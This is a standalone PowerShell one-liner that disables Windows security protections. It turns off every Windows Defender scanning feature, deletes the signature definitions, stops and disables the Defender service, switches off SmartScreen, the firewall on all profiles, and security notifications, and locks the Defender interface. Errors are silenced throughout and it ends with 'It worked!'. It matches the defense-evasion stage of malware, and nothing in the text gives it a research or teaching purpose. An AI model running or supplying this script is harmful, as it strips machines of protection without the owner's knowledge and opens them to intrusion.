Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" -Name "DisableEnhancedNotifications" -Type DWord -Value 1 -ErrorAction SilentlyContinue; Set-NetFirewallProfile -Profile Domain,Private,Public -NotifyOnListen 0 -ErrorAction SilentlyContinue; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -ErrorAction SilentlyContinue; Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" -Name "SmartScreenEnabled" -Value "Off" -Force -ErrorAction SilentlyContinue; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -ErrorAction SilentlyContinue; $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance"; $propertyName = "Enabled"; $desiredValue = 0; if (-not (Test-Path $regPath)) { New-Item -Path $regPath -Force }; Set-ItemProperty -Path $regPath -Name $propertyName -Value $desiredValue -Force -ErrorAction SilentlyContinue; Set-NetFirewallProfile -Profile Domain,Private,Public -NotifyOnListen False -ErrorAction SilentlyContinue; Set-MpPreference -UILockdown $true -ErrorAction SilentlyContinue; cd "C:\Program Files\Windows Defender" -ErrorAction SilentlyContinue; .\MpCmdRun.exe -removedefinitions -all -ErrorAction SilentlyContinue; Remove-MpPreference -ErrorAction SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -SubmitSamplesConsent 2 -ErrorAction SilentlyContinue; Set-MpPreference -DisableArchiveScanning $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableEmailScanning $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableScriptScanning $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableIntrusionPreventionSystem $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableIOAVProtection $true -ErrorAction SilentlyContinue; Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue; Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False -ErrorAction SilentlyContinue; Set-NetFirewallProfile -Profile Public -Enabled False -ErrorAction SilentlyContinue; Set-NetFirewallProfile -Profile Private -Enabled False -ErrorAction SilentlyContinue; Set-NetFirewallProfile -Profile Domain -Enabled False -ErrorAction SilentlyContinue; Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue; Set-MpPreference -PUAProtection 0 -ErrorAction SilentlyContinue; Set-MpPreference -DisableCloudProtection $true -ErrorAction SilentlyContinue; Stop-Service -Name WinDefend -Force -ErrorAction SilentlyContinue; Set-Service -Name WinDefend -StartupType Disabled -ErrorAction SilentlyContinue; $regPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer"; $propertyName = "SmartScreenEnabled"; $desiredValue = "Off"; if (-not (Test-Path $regPath)) { New-Item -Path $regPath -Force }; Set-ItemProperty -Path $regPath -Name $propertyName -Value $desiredValue -Force -ErrorAction SilentlyContinue; echo "It worked!"